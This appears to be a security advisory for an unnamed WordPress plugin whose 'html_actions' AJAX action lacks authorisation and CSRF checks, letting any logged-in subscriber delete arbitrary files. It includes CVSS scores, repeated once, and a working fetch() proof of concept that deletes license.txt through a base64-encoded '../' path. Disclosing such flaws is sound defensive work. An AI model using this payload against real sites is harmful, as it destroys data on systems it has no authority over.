8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
5.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:P/A:P
The plugin does not have authorisation and CSRF checks in an AJAX action, available to any authenticated users such as subscriber, which could allow them to delete arbitrary file
To delete the license.txt at the root of the blog: await fetch(“https://example.com/wp-admin/admin-ajax.php?action=html_actions”, { “credentials”: “include”, “headers”: { “User-Agent”: “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8”, “Accept-Language”: “de,en;q=0.7,en-US;q=0.3”, “Content-Type”: “application/x-www-form-urlencoded”, “Upgrade-Insecure-Requests”: “1”, “Sec-Fetch-Dest”: “document”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-Site”: “same-origin”, “Sec-Fetch-User”: “?1” }, “body”: “type=remove_html&path;=Li4vbGljZW5zZS50eHQ=”, “method”: “POST”, “mode”: “cors” });
8.1 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
5.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:N/I:P/A:P